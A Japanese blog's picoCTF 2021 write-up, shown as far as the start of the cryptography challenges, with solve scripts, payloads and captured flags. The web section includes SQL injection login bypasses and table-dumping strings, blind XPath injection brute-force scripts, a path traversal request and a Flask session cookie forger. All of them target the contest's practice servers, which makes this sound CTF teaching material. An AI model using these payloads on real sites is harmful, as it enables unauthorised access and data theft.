TSALVIA技術メモ

CTFのWriteupや気になったツールについて書いていきます。また、このサイトはGoogle Analyticsを利用しています。

picoCTF 2021 Writeup

picoCTF 2021 について

picoCTF 2021が開催されました。
2021年3月17日午前1時 ~ 2021年3月31日午前4時(2週間)

picoctf.org

2019年同様、picoCTF に参加してきました。難易度は低く、前回に比べて変わった問題が少なくなったような気がします。

今回も1人で参加しました。結果は、66/6215位で 6150点でした。前回と違い平日にあまり時間を取れなかったので、もう少し時間が欲しかったです。88問中 68問解くことができたので、その Writeup を紹介します。

f:id:tsalvia:20210406094311p:plain

f:id:tsalvia:20210406094402p:plain

picoCTF 2021 Writeup(全68問)

picoCTF 公式より

Note that I recommend not hardcoding specific challenge URLs and ports in writeups as these are randomized per player and subject to change.

URLやポート番号はランダムに変更される可能性があるそうなので、適宜読み替えてください。

Web Exploitation(16問)

Ancient History - 10 points

I must have been sleep hacking or something, I don't remember visiting all of these sites... http://mercury.picoctf.net:42332/ (try a couple different browsers if it's not working right)

http://mercury.picoctf.net:42332/index.html のページのソースをみると、window.history.pushState で履歴を追加している処理が確認できる。
index.html? 以降の文字を並べるとフラグになる。

f:id:tsalvia:20210330153346p:plain

picoCTF{th4ts_k1nd4_n34t_a1ac6cbe}

GET aHEAD - 20 points

Find the flag being held on this server to get ahead of the competition http://mercury.picoctf.net:21939/

http://mercury.picoctf.net:21939/index.php にアクセスすると、Red か Blue を選択する画面が表示される。

http://mercury.picoctf.net:21939/index.php のページのソースを確認すると、 GETメソッドでのアクセスで赤い背景、POSTメソッドでのアクセスで青い背景に変化するということが分かる。

<form action="index.php" method="GET">
    <input type="submit" value="Choose Red"/>
</form>
<form action="index.php" method="POST">
    <input type="submit" value="Choose Blue"/>
</form>

問題タイトルが GET aHEAD なので、HEADメソッドでアクセスしてみると、フラグが表示された。

$ curl --head http://mercury.picoctf.net:21939/index.php
HTTP/1.1 200 OK
flag: picoCTF{r3j3ct_th3_du4l1ty_6ef27873}
Content-type: text/html; charset=UTF-8

picoCTF{r3j3ct_th3_du4l1ty_6ef27873}

Cookies - 40 points

Who doesn't love cookies? Try to figure out the best one. http://mercury.picoctf.net:17781/

http://mercury.picoctf.net:17781/ にアクセスして、
snickerdoodle と入力すると、I love snickerdoodle cookies!と表示される。

このときの Cookie を EditThisCookie で確認すると、name=0 になっていた。

f:id:tsalvia:20210330155552p:plain

name=1 に変えてみると、別のメッセージが表示された。

Cookie の name の値を増やしていくスクリプトを書いて実行すると、
name=18 のときにフラグが表示された。

#!/bin/bash
for i in `seq 0 20`;
do
    echo -n $i
    curl --cookie "name=$i" --data "name=snickerdoodle" --silent -L http://mercury.picoctf.net:17781/search | grep "<b>"
done
$ ./solve.sh
0            <p style="text-align:center; font-size:30px;"><b>I love snickerdoodle cookies!</b></p>
1            <p style="text-align:center; font-size:30px;"><b>I love chocolate chip cookies!</b></p>
2            <p style="text-align:center; font-size:30px;"><b>I love oatmeal raisin cookies!</b></p>
3            <p style="text-align:center; font-size:30px;"><b>I love gingersnap cookies!</b></p>
4            <p style="text-align:center; font-size:30px;"><b>I love shortbread cookies!</b></p>
5            <p style="text-align:center; font-size:30px;"><b>I love peanut butter cookies!</b></p>
6            <p style="text-align:center; font-size:30px;"><b>I love whoopie pie cookies!</b></p>
7            <p style="text-align:center; font-size:30px;"><b>I love sugar cookies!</b></p>
8            <p style="text-align:center; font-size:30px;"><b>I love molasses cookies!</b></p>
9            <p style="text-align:center; font-size:30px;"><b>I love kiss cookies!</b></p>
10            <p style="text-align:center; font-size:30px;"><b>I love biscotti cookies!</b></p>
11            <p style="text-align:center; font-size:30px;"><b>I love butter cookies!</b></p>
12            <p style="text-align:center; font-size:30px;"><b>I love spritz cookies!</b></p>
13            <p style="text-align:center; font-size:30px;"><b>I love snowball cookies!</b></p>
14            <p style="text-align:center; font-size:30px;"><b>I love drop cookies!</b></p>
15            <p style="text-align:center; font-size:30px;"><b>I love thumbprint cookies!</b></p>
16            <p style="text-align:center; font-size:30px;"><b>I love pinwheel cookies!</b></p>
17            <p style="text-align:center; font-size:30px;"><b>I love wafer cookies!</b></p>
18            <p style="text-align:center; font-size:30px;"><b>Flag</b>: <code>picoCTF{3v3ry1_l0v3s_c00k135_bb3b3535}</code></p>
19            <p style="text-align:center; font-size:30px;"><b>I love macaroon cookies!</b></p>
20            <p style="text-align:center; font-size:30px;"><b>I love fortune cookies!</b></p>

picoCTF{3v3ry1_l0v3s_c00k135_bb3b3535}

Scavenger Hunt - 50 points

There is some interesting information hidden around this site http://mercury.picoctf.net:44070/. Can you find it?

分割されたフラグが、さまざまなページにコメントとして書かれている。

<!-- Here's the first part of the flag: picoCTF{t -->
/* CSS makes the page look nice, and yes, it also has part of the flag. Here's part 2: h4ts_4_l0 */
# Part 3: t_0f_pl4c
# Part 4: 3s_2_lO0k
Congrats! You completed the scavenger hunt. Part 5: _7a46d25d}

picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k_7a46d25d}

Who are you? - 60 points

Let me in. Let me iiiiiiinnnnnnnnnnnnnnnnnnnn http://mercury.picoctf.net:1270/

http://mercury.picoctf.net:1270/ にアクセスすると、条件が順に表示される。

  1. Only people who use the official PicoBrowser are allowed on this site!
  2. I don't trust users visiting from another site.
  3. Sorry, this site only worked in 2018.
  4. I don't trust users who can be tracked.
  5. This website is only for people from Sweden.
  6. You're in Sweden but you don't speak Swedish?
  7. What can I say except, you are welcome

適切なヘッダとプロキシを設定して HTTP リクエストを送信すると、フラグを含むレスポンスが返ってきた。 (プロキシは、適当に検索して出てきたスウェーデンのサーバを指定した)

curl -i -X GET \
   -H "User-Agent:PicoBrowser" \
   -H "Referer:http://mercury.picoctf.net:1270/" \
   -H "Date:Mon, 01 Jan 2018 00:00:00 GMT" \
   -H "DNT:1" \
   -x http://185.186.78.10:3128 \
   -H "Accept-Language:sv" \
 'http://mercury.picoctf.net:1270/'

picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_f56f58a5}

Some Assembly Required 1 - 70 points

http://mercury.picoctf.net:55336/index.html

Chrome DevTools の Network を見ていると、G82XCw5CX3.js から JIFxzHyW8W というファイルがダウンロードされていることが分かる。

f:id:tsalvia:20210330163324p:plain

http://mercury.picoctf.net:55336/JIFxzHyW8W をダウンロードして、
strings で文字列を確認すると、フラグが見つかった。

$ wget http://mercury.picoctf.net:55336/JIFxzHyW8W
$ strings JIFxzHyW8W
memory
__wasm_call_ctors
strcmp
check_flag
input
        copy_char
__dso_handle
__data_end
__global_base
__heap_base
__memory_base
__table_base
j!
  F!!A
!" ! "q!# #
!% $ %q!&
!( ' (q!) & )k!*
!+ +
        q!
+picoCTF{51e513c498950a515b1aab5e941b2615}

picoCTF{51e513c498950a515b1aab5e941b2615}

It is my Birthday - 100 points

I sent out 2 invitations to all of my friends for my birthday! I'll know if they get stolen because the two invites look similar, and they even have the same md5 hash, but they are slightly different! You wouldn't believe how long it took me to find a collision. Anyway, see if you're invited by submitting 2 PDFs to my website. http://mercury.picoctf.net:11590/

MD5ハッシュ値の衝突に関する問題

以下のリポジトリから、poeMD5_A.pdf と poeMD5_B.pdf をダウンロードして、http://mercury.picoctf.net:11590/ にアップロードすると、フラグが表示された。

github.com

picoCTF{c0ngr4ts_u_r_1nv1t3d_3d3e4c57}

Some Assembly Required 2 - 110 points

http://mercury.picoctf.net:61778/index.html

Some Assembly Required 1 と同様の手順で、
aD8SvhyVkb というファイルをダウンロードする。

$ wget http://mercury.picoctf.net:61778/aD8SvhyVkb

strings をすると、今度は以下のように出力された。

$ strings aD8SvhyVkb
memory
__wasm_call_ctors
strcmp
check_flag
input
        copy_char
__dso_handle
__data_end
__global_base
__heap_base
__memory_base
__table_base
j!       
  F!!A
!" ! "q!# #
!% $ %q!& 
!( ' (q!) & )k!* 
!+ +
        q!
+xakgK\Ns((j:l9<mimk?:k;9;8=8?=0?>jnn:j=lu

xakgK\Ns((j:l9<mimk?:k;9;8=8?=0?>jnn:j=luCyberChef の XOR Brute Force してみると、フラグを取得することができた。

picoCTF{ b2d14eaec72c31305075876bff2b5d}

Super Serial - 130 points

Try to recover the flag stored on this website http://mercury.picoctf.net:5428/

Hints を見てみると、「The flag is at ../flag」と書かれていた。

http://mercury.picoctf.net:5428/../flag ではアクセスできなかった。
..%2e%2e に書き換えてみると、../flag にアクセスすることができた。

$ curl mercury.picoctf.net:5428/%2e%2e/flag
picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_c5123066}

picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_c5123066}

Most Cookies - 150 points

Alright, enough of using my own encryption. Flask session cookies should be plenty secure! server.py http://mercury.picoctf.net:65344/

server.py を見てみると、Flask でセッション管理されていることが分かる。

secret_key が分かれば、任意のセッションを生成することができる。 secret_key は、cookie_names から1つランダムにピックアップしたものを使用している。

cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)

very_auth を admin に設定することができれば、フラグが表示される。

@app.route("/display", methods=["GET"])
def flag():
    if session.get("very_auth"):
        check = session["very_auth"]
        if check == "admin":
            resp = make_response(render_template("flag.html", value=flag_value, title=title))
            return resp
        flash("That is a cookie! Not very special though...", "success")
        return render_template("not-flag.html", title=title, cookie_name=session["very_auth"])
    else:
        resp = make_response(redirect("/"))
        session["very_auth"] = "blank"
        return resp

まず、http://mercury.picoctf.net:65344/display にアクセスして Cookie を取得する。
取得した Cookie の session を以下のスクリプトに記載し、実行すると {'very_auth': 'admin'} 用の session を生成することができる。

#!/usr/bin/env python3
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import URLSafeTimedSerializer


class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):
    # NOTE: Override method
    def get_signing_serializer(self, secret_key):
        signer_kwargs = {
            'key_derivation': self.key_derivation,
            'digest_method': self.digest_method
        }
        return URLSafeTimedSerializer(
            secret_key,
            salt=self.salt,
            serializer=self.serializer,
            signer_kwargs=signer_kwargs
        )


class FlaskSessionCookieManager:
    @classmethod
    def decode(cls, secret_key, cookie):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.loads(cookie)

    @classmethod
    def encode(cls, secret_key, session):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.dumps(session)


def main():
    cookie = 'eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.YFhrmA.wnld-Xp-OJ432MAXrpuV7DUIvog' # set session

    cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz",
                    "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]

    for secret_key in cookie_names:
        try:
            print(FlaskSessionCookieManager.decode(secret_key, cookie))
            session = {'very_auth': 'admin'}
            print(FlaskSessionCookieManager.encode(secret_key, session))
        except Exception:
            pass


if __name__ == '__main__':
    main()
$ python3 solve.py 
{'very_auth': 'blank'}
eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.YFe4og.o5psPaSKi0bXgRiPeo8MgeJRmwY

生成された session を Cookie に設定して、http://mercury.picoctf.net:65344/display にアクセスすると、フラグが表示された。

picoCTF{pwn_4ll_th3_cook1E5_25bdb6f6}

Some Assembly Required 3 - 160 points

http://mercury.picoctf.net:38541/index.html

Some Assembly Required 1 と同様の手順で、
qCCYI0ajpD というファイルをダウンロードする。

$ wget http://mercury.picoctf.net:38541/qCCYI0ajpD

file コマンドでファイルの種類を確認すると、WebAssembly であることが分かる。

$ file qCCYI0ajpD
qCCYI0ajpD: WebAssembly (wasm) binary module version 0x1 (MVP)

wabt の wasm-decompile を使って処理を確認する。

github.com

$ wget https://github.com/WebAssembly/wabt/releases/download/1.0.23/wabt-1.0.23-ubuntu.tar.gz
$ tar xvf wabt-1.0.23-ubuntu.tar.gz
$ ./wabt-1.0.23/bin/wasm-decompile qCCYI0ajpD -o qCCYI0ajpD.dcmp
export memory memory(initial: 2, max: 0);

global g_a:int = 66864;
export global input:int = 1072;
export global key:int = 1067;
export global dso_handle:int = 1024;
export global data_end:int = 1328;
export global global_base:int = 1024;
export global heap_base:int = 66864;
export global memory_base:int = 0;
export global table_base:int = 1;

table T_a:funcref(min: 1, max: 1);

data d_nAcdbf1a(offset: 1024) = 
  "\9dn\93\c8\b2\b9A\8b\90\c2\ddc\93\93\92\8fd\92\9f\94\d5b\91\c5\c0\8ef\c4"
  "\97\c0\8f1\c1\90\c4\8ba\c2\94\c9\90\00\00";
data d_b(offset: 1067) = "\f1\a7\f0\07\ed";

export function wasm_call_ctors() {
}

export function strcmp(a:int, b:int):int {
  var c:int = g_a;
  var d:int = 32;
  var e:int = c - d;
  e[6]:int = a;
  e[5]:int = b;
  var f:int = e[6]:int;
  e[4]:int = f;
  var g:int = e[5]:int;
  e[3]:int = g;
  loop L_b {
    var h:ubyte_ptr = e[4]:int;
    var i:int = 1;
    var j:int = h + i;
    e[4]:int = j;
    var k:int = h[0];
    e[11]:byte = k;
    var l:ubyte_ptr = e[3]:int;
    var m:int = 1;
    var n:int = l + m;
    e[3]:int = n;
    var o:int = l[0];
    e[10]:byte = o;
    var p:int = e[11]:ubyte;
    var q:int = 255;
    var r:int = p & q;
    if (r) goto B_c;
    var s:int = e[11]:ubyte;
    var t:int = 255;
    var u:int = s & t;
    var v:int = e[10]:ubyte;
    var w:int = 255;
    var x:int = v & w;
    var y:int = u - x;
    e[7]:int = y;
    goto B_a;
    label B_c:
    var z:int = e[11]:ubyte;
    var aa:int = 255;
    var ba:int = z & aa;
    var ca:int = e[10]:ubyte;
    var da:int = 255;
    var ea:int = ca & da;
    var fa:int = ba;
    var ga:int = ea;
    var ha:int = fa == ga;
    var ia:int = 1;
    var ja:int = ha & ia;
    if (ja) continue L_b;
  }
  var ka:int = e[11]:ubyte;
  var la:int = 255;
  var ma:int = ka & la;
  var na:int = e[10]:ubyte;
  var oa:int = 255;
  var pa:int = na & oa;
  var qa:int = ma - pa;
  e[7]:int = qa;
  label B_a:
  var ra:int = e[7]:int;
  return ra;
}

// <snip>

function copy(a:int, b:int) {
  var c:int = g_a;
  var d:int = 16;
  var e:int_ptr = c - d;
  e[3] = a;
  e[2] = b;
  var f:int = e[3];
  if (eqz(f)) goto B_a;
  var g:int = 4;
  var h:int = e[2];
  var i:int = 5;
  var j:int = h % i;
  var k:ubyte_ptr = g - j;
  var l:int = k[1067];
  var m:int = 24;
  var n:int = l << m;
  var o:int = n >> m;
  var p:int = e[3];
  var q:int = p ^ o;
  e[3] = q;
  label B_a:
  var r:int = e[3];
  var s:byte_ptr = e[2];
  s[1072] = r;
}

copy で入力した文字列を XOR で暗号化してメモリに展開し、strcmp で比較している。 copy を参考に復号用のスクリプトを作成した。

enc_flag = b'\x9d\x6e\x93\xc8\xb2\xb9\x41\x8b\x90\xc2\xdd\x63\x93\x93\x92\x8f\x64\x92\x9f\x94\xd5\x62\x91\xc5\xc0\x8e\x66\xc4\x97\xc0\x8f\x31\xc1\x90\xc4\x8b\x61\xc2\x94\xc9\x90\x00\x00'
key = b'\xf1\xa7\xf0\x07\xed'

flag = ''
for i in range(len(enc_flag)):
    dec = enc_flag[i] ^ key[4 - i % 5]
    flag += chr(dec)

print(flag)
$ python3 solve.py
picoCTF{730dc4cbcb8e8eab1ca401b6175ff238}ð

picoCTF{730dc4cbcb8e8eab1ca401b6175ff238}

Web Gauntlet 2 - 170 points

This website looks familiar... Log in as admin Site: http://mercury.picoctf.net:61434/ Filter: http://mercury.picoctf.net:61434/filter.php

SQLインジェクション系の問題

フィルタが設定されており、以下の文字列を入力するとエラーになる。

Filters: or and true false union like = > < ; -- /* */ admin

以下のようになるように Username と Password を入力すると、サインインできる。

SELECT username, password FROM users WHERE username='admi' || 'n' AND password='' GLOB '*'
  • Username: admi' || 'n
  • Password: ' GLOB '*

サインイン後、filter.php にアクセスすると、フラグとソースコードが表示された。

<?php
session_start();

if (!isset($_SESSION["winner2"])) {
    $_SESSION["winner2"] = 0;
}
$win = $_SESSION["winner2"];
$view = ($_SERVER["PHP_SELF"] == "/filter.php");

if ($win === 0) {
    $filter = array("or", "and", "true", "false", "union", "like", "=", ">", "<", ";", "--", "/*", "*/", "admin");
    if ($view) {
        echo "Filters: ".implode(" ", $filter)."<br/>";
    }
} else if ($win === 1) {
    if ($view) {
        highlight_file("filter.php");
    }
    $_SESSION["winner2"] = 0;        // <- Don't refresh!
} else {
    $_SESSION["winner2"] = 0;
}

// picoCTF{0n3_m0r3_t1m3_b55c7a5682db6cb0192b28772d4f4131}
?>

picoCTF{0n3_m0r3_t1m3_b55c7a5682db6cb0192b28772d4f4131}

Startup Company - 180 points

Do you want to fund my startup? http://mercury.picoctf.net:44720/

Register でユーザ登録すると、寄付金の入力画面が出てくる。 数値を入力して、「$Contribute$」と入力すると、「You're latest contribution: $」に入力した金額が表示された。

input タグの type="number" を削除して、' と入力すると、「Database error.」と表示された。 また、test と入力すると、金額表示のところに「test」という文字列が表示された。

<input type="number" id="moneys" name="moneys" class="form-control" placeholder="100" required="" autofocus="">

以上のことから、以下の3点が分かる。

  • UPDATE で金額を更新した後、SELECT でその結果を表示している。
  • 金額管理しているカラムは、数値ではなく文字列として管理されている。
  • ' でエラーになることから、おそらくSQLインジェクションができる。

以下のように入力すると、テーブル名一覧が表示された。

'||(SELECT GROUP_CONCAT(tbl_name) FROM sqlite_master)||'

f:id:tsalvia:20210331013045p:plain

取得したテーブル名を使って、テーブルの構成を表示させる。

'||(SELECT sql FROM sqlite_master WHERE tbl_name='startup_users')||'

f:id:tsalvia:20210331013320p:plain

取得した構成情報を基に、パスワード一覧を表示させると、フラグが表示された。

'||(SELECT GROUP_CONCAT(wordpass) FROM startup_users)||'

f:id:tsalvia:20210331013442p:plain

※ Register で登録したユーザのパスワードが別の人に推測されてしまった場合、問題を解いていない人がログインしただけでフラグが表示されてしまうので、最後に適当な数値を入力して、元に戻しておいたほうがよい。

picoCTF{1_c4nn0t_s33_y0u_107b7785}

Some Assembly Required 4 - 200 points

http://mercury.picoctf.net:6755/index.html

Some Assembly Required 1 と同様の手順で、 ZoRd23o0wd というファイルをダウンロードする。

$ wget http://mercury.picoctf.net:6755/ZoRd23o0wd

Some Assembly Required 3 と同様の手順でデコンパイルしてみたが、読みづらかったので、今度は別の方法で解析を進めた。

wabt の wasm2c で C言語ソースコードに変換して、コンパイルする。

$ ./wabt-1.0.23/bin/wasm2c ZoRd23o0wd -o ZoRd23o0wd.c
$ cp ./wabt-1.0.23/include/wasm-rt.h .
$ gcc -c  ZoRd23o0wd.c -o  ZoRd23o0wd.o

生成された ZoRd23o0wd.o を Ghidra に読み込ませて処理を確認する。

f:id:tsalvia:20210331020431p:plain

以下のような処理になっていた。

enc_flag = [
    0x18, 0x6a, 0x7c, 0x61, 0x11, 0x38, 0x69, 0x37, 0x18, 0x09, 0x79, 0x0e, 
    0x68, 0x1b, 0x03, 0x3f, 0x07, 0x13, 0x42, 0x26, 0x60, 0x6d, 0x1b, 0x5d, 
    0x73, 0x04, 0x6c, 0x47, 0x52, 0x35, 0x5d, 0x17, 0x1f, 0x73, 0x33, 0x38, 
    0x40, 0x51, 0x77, 0x57, 0x51, 0x00, 0x00,
]

input_data = [
    ord('p'), 
    ord('i'), 
    ord('c'), 
    ord('o'), 
    ord('C'), 
    ord('T'), 
    ord('F'), 
    ord('{'), 
    0
]

# encode data

i = 0
while True:
    if input_data[i] == 0:
        break

    input_data[i] = input_data[i] ^ 0x14

    if 0 < i:
        input_data[i] = input_data[i] ^ input_data[i-1]
    if 2 < i:
        input_data[i] = input_data[i] ^ input_data[i-3]

    input_data[i] = input_data[i] ^ i % 10

    if i % 2 == 0:
        input_data[i] = input_data[i] ^ 9
    else:
        input_data[i] = input_data[i] ^ 8

    if i % 3 == 0:
        input_data[i] = input_data[i] ^ 7
    else:
        if i % 3 == 1:
            input_data[i] = input_data[i] ^ 6
        else: 
            input_data[i] = input_data[i] ^ 5
    i += 1

# swap input_data

j = 0
while True:
    if i <= j:
        break

    if j % 2 == 0:
        if j + 1 < i:
            tmp = input_data[j]
            input_data[j] = input_data[j + 1]
            input_data[j + 1] = tmp
    
    j += 1

print('enc_flag:  ', enc_flag)
print('input_data:', input_data)

試しに picoCTF{ まで指定してみると、途中まで一致した。

$ python3 test.py
enc_flag:   [24, 106, 124, 97, 17, 56, 105, 55, 24, 9, 121, 14, 104, 27, 3, 63, 7, 19, 66, 38, 96, 109, 27, 93, 115, 4, 108, 71, 82, 53, 93, 23, 31, 115, 51, 56, 64, 81, 119, 87, 81, 0, 0]
input_data: [24, 106, 124, 97, 17, 56, 105, 55, 0]

上記のスクリプト整理して総当たりでフラグを求めるようにする。

import string


def encode(data):
    i = 0
    while True:
        if data[i] == 0:
            break

        data[i] = data[i] ^ 0x14

        if 0 < i:
            data[i] = data[i] ^ data[i-1]
        if 2 < i:
            data[i] = data[i] ^ data[i-3]

        data[i] = data[i] ^ i % 10

        if i % 2 == 0:
            data[i] = data[i] ^ 9
        else:
            data[i] = data[i] ^ 8

        if i % 3 == 0:
            data[i] = data[i] ^ 7
        else:
            if i % 3 == 1:
                data[i] = data[i] ^ 6
            else:
                data[i] = data[i] ^ 5
        i += 1
    return data


def swap(data):
    for i in range(0, len(data) - 1, 2):
        data[i], data[i+1] = data[i+1], data[i]
    return data


def str2array(s):
    data = [0] * (len(s) + 1)
    for i, ch in enumerate(s):
        data[i] = ord(ch)
    return data


def main():
    enc_flag = [
        0x18, 0x6a, 0x7c, 0x61, 0x11, 0x38, 0x69, 0x37, 0x18, 0x09, 0x79, 0x0e,
        0x68, 0x1b, 0x03, 0x3f, 0x07, 0x13, 0x42, 0x26, 0x60, 0x6d, 0x1b, 0x5d,
        0x73, 0x04, 0x6c, 0x47, 0x52, 0x35, 0x5d, 0x17, 0x1f, 0x73, 0x33, 0x38,
        0x40, 0x51, 0x77, 0x57, 0x51, 0x00, 0x00,
    ]

    swaped_enc_flag = swap(enc_flag)

    flag = 'picoCTF{'
    while True:
        for ch in string.printable + '\x00':
            enc_data = encode(str2array(flag + ch))
            size = len(flag) + 1

            if all([enc_data[i] == swaped_enc_flag[i] for i in range(size)]):
                flag += ch
                break

        if ch == '\x00':
            break

    print('swaped_enc_flag:', swaped_enc_flag)
    print('enc_data:       ', enc_data)
    print('flag:', flag)


if __name__ == '__main__':
    main()
$ python3 solve.py
swaped_enc_flag: [106, 24, 97, 124, 56, 17, 55, 105, 9, 24, 14, 121, 27, 104, 63, 3, 19, 7, 38, 66, 109, 96, 93, 27, 4, 115, 71, 108, 53, 82, 23, 93, 115, 31, 56, 51, 81, 64, 87, 119, 0, 81, 0]
enc_data:        [106, 24, 97, 124, 56, 17, 55, 105, 9, 24, 14, 121, 27, 104, 63, 3, 19, 7, 38, 66, 109, 96, 93, 27, 4, 115, 71, 108, 53, 82, 23, 93, 115, 31, 56, 51, 81, 64, 87, 119, 0, 0, 0]
flag: picoCTF{a4dfbd29e50d01f1a513903dfceda44c,

swap している関係で少しフラグがずれているが、最後の文字列は } になるはずなので、そこだけ書き換えてフラグを入力すると、「Correct!」と表示された。

picoCTF{a4dfbd29e50d01f1a513903dfceda44c}

X marks the spot - 250 points

Another login you have to bypass. Maybe you can find an injection that works? http://mercury.picoctf.net:53735/

Hints を見ると、「XPATH」と書かれているので、以下の2つのサイトを参考に XPATH Injection を行ってみる。

book.hacktricks.xyz

github.com

name と pass 両方に ' or '1'='1 と入力すると、「You're on the right path.」と表示された。

また、name に以下を入力しても「You're on the right path.」と表示された。 ただし、4を別の値に書き換えると「Login failure.」と表示された。

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''='

「Login failure.」とならないパターンを列挙すると以下のようになった。

import requests
import itertools

for i, j in itertools.product(range(1, 5), repeat=2):

    for k in range(1, 100):
        param = f"' or string-length(//user[position()={i}]/child::node()[position()={j}])={k} or ''='"
        response = requests.post('http://mercury.picoctf.net:53735/', {'name': param, 'pass': ''})

        if 'Login failure.' not in response.text:
            print(param)
            break
$ python3 get_length.py
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''='
' or string-length(//user[position()=1]/child::node()[position()=2])=5 or ''='
' or string-length(//user[position()=1]/child::node()[position()=3])=4 or ''='
' or string-length(//user[position()=1]/child::node()[position()=4])=16 or ''='
' or string-length(//user[position()=2]/child::node()[position()=1])=4 or ''='
' or string-length(//user[position()=2]/child::node()[position()=2])=3 or ''='
' or string-length(//user[position()=2]/child::node()[position()=3])=4 or ''='
' or string-length(//user[position()=2]/child::node()[position()=4])=22 or ''='
' or string-length(//user[position()=3]/child::node()[position()=1])=4 or ''='
' or string-length(//user[position()=3]/child::node()[position()=2])=5 or ''='
' or string-length(//user[position()=3]/child::node()[position()=3])=4 or ''='
' or string-length(//user[position()=3]/child::node()[position()=4])=50 or ''='

最後の50文字が怪しいので、以下の入力を使って1文字ずつ特定していくとフラグになった。

' or substring((//user[position()=3]/child::node()[position()=4]),1,1)="a" or ''='
import requests
import string

i = 3
j = 4
k = 50

chars = string.ascii_letters + string.digits + r'_{}'

flag = ''
for offset in range(1, k+1):

    for ch in chars:
        param = f"' or substring((//user[position()={i}]/child::node()[position()={j}]),{offset},1)=\"{ch}\" or ''='"
        response = requests.post("http://mercury.picoctf.net:53735/", {'name': param, 'pass': ''}) 

        print(param)
        if "Login failure." not in response.text: 
            flag += ch
            print('flag:', flag)
            break
$ python3 solve.py

<snip>

' or substring((//user[position()=3]/child::node()[position()=4]),50,1)="_" or ''='
' or substring((//user[position()=3]/child::node()[position()=4]),50,1)="{" or ''='
' or substring((//user[position()=3]/child::node()[position()=4]),50,1)="}" or ''='
flag: picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_a8550ff2}

picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_a8550ff2}

Web Gauntlet 3 - 300 points

Last time, I promise! Only 25 characters this time. Log in as admin Site: http://mercury.picoctf.net:63504/ Filter: http://mercury.picoctf.net:63504/filter.php

Web Gauntlet 2 と同様の入力でフラグとソースコードが表示された。
(もしかしたら、想定回答と違うのかもしれない。)

  • Username: admi' || 'n
  • Password: ' GLOB '*
<?php
session_start();

if (!isset($_SESSION["winner3"])) {
    $_SESSION["winner3"] = 0;
}
$win = $_SESSION["winner3"];
$view = ($_SERVER["PHP_SELF"] == "/filter.php");

if ($win === 0) {
    $filter = array("or", "and", "true", "false", "union", "like", "=", ">", "<", ";", "--", "/*", "*/", "admin");
    if ($view) {
        echo "Filters: ".implode(" ", $filter)."<br/>";
    }
} else if ($win === 1) {
    if ($view) {
        highlight_file("filter.php");
    }
    $_SESSION["winner3"] = 0;        // <- Don't refresh!
} else {
    $_SESSION["winner3"] = 0;
}

// picoCTF{k3ep_1t_sh0rt_eb90a623e2c581bcd3127d9d60a4dead}
?>

picoCTF{k3ep_1t_sh0rt_eb90a623e2c581bcd3127d9d60a4dead}

Cryptography(12問)

Mod 26 - 10 points

Cryptography can be easy, do you know what ROT13 is? cvpbPGS{arkg_gvzr_V'yy_gel_2_ebhaqf_bs_ebg13_MAZyqFQj}

CyberChef の ROT13 で変換するだけ

picoCTF{next_time_I'll_try_2_rounds_of_rot13_ZNMldSDw}

Mind your Ps and Qs - 20 points

In RSA, a small e value can be problematic, but what about N? Can you decrypt this? values

n の値を factordb.com で検索すると、素因数分解結果が分かる。

  • p: 1899107986527483535344517113948531328331
  • q: 674357869540600933870145899564746495319033

素因数分解できたので、以下のスクリプトで復号する。

def long_to_bytes(x: int) -> bytes:
    return x.to_bytes((x.bit_length() + 7) // 8, 'big')

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, x, y = egcd(b % a, a)
        return (g, y - (b // a) * x, x)

def main():
    c = 62324783949134119159408816513334912534343517300880137691662780895409992760262021
    n = 1280678415822214057864524798453297819181910621573945477544758171055968245116423923
    e = 65537

    p = 1899107986527483535344517113948531328331
    q = 674357869540600933870145899564746495319033

    phi = (p - 1) * (q - 1)
    d = egcd(e, phi)[1]
    if d < 0:
        d += phi

    m = pow(c, d, n)
    flag = long_to_bytes(m)
    print(flag)

if __name__ == '__main__':
    main()
$ python3 solve.py
b'picoCTF{sma11_N_n0_g0od_05012767}'

picoCTF{sma11_N_n0_g0od_05012767}

Easy Peasy - 40 points

A one-time pad is unbreakable, but can you manage to recover the flag? (Wrap with picoCTF{}) nc mercury.picoctf.net 64260 otp.py

netcat でアクセスすると、暗号化されたフラグが表示される。
その後、何か文字列を入力すると、それを暗号化した結果が返ってくる。

$ nc mercury.picoctf.net 64260
******************Welcome to our OTP implementation!******************
This is the encrypted flag!
51466d4e5f575538195551416e4f5300413f1b5008684d5504384157046e4959

What data would you like to encrypt? hello
Here ya go!
582b301457

What data would you like to encrypt? hello
Here ya go!
5939145c0d

What data would you like to encrypt?

otp.py の処理を確認するとXORで暗号化していることが分かる。

XOR鍵は、50000 バイト分用意されている。 暗号化されるたびに消費されていき、50000 バイトまで到達すると、初めに戻るようになっている。

#!/usr/bin/python3 -u
import os.path

KEY_FILE = "key"
KEY_LEN = 50000
FLAG_FILE = "flag"


def startup(key_location):
    flag = open(FLAG_FILE).read()
    kf = open(KEY_FILE, "rb").read()

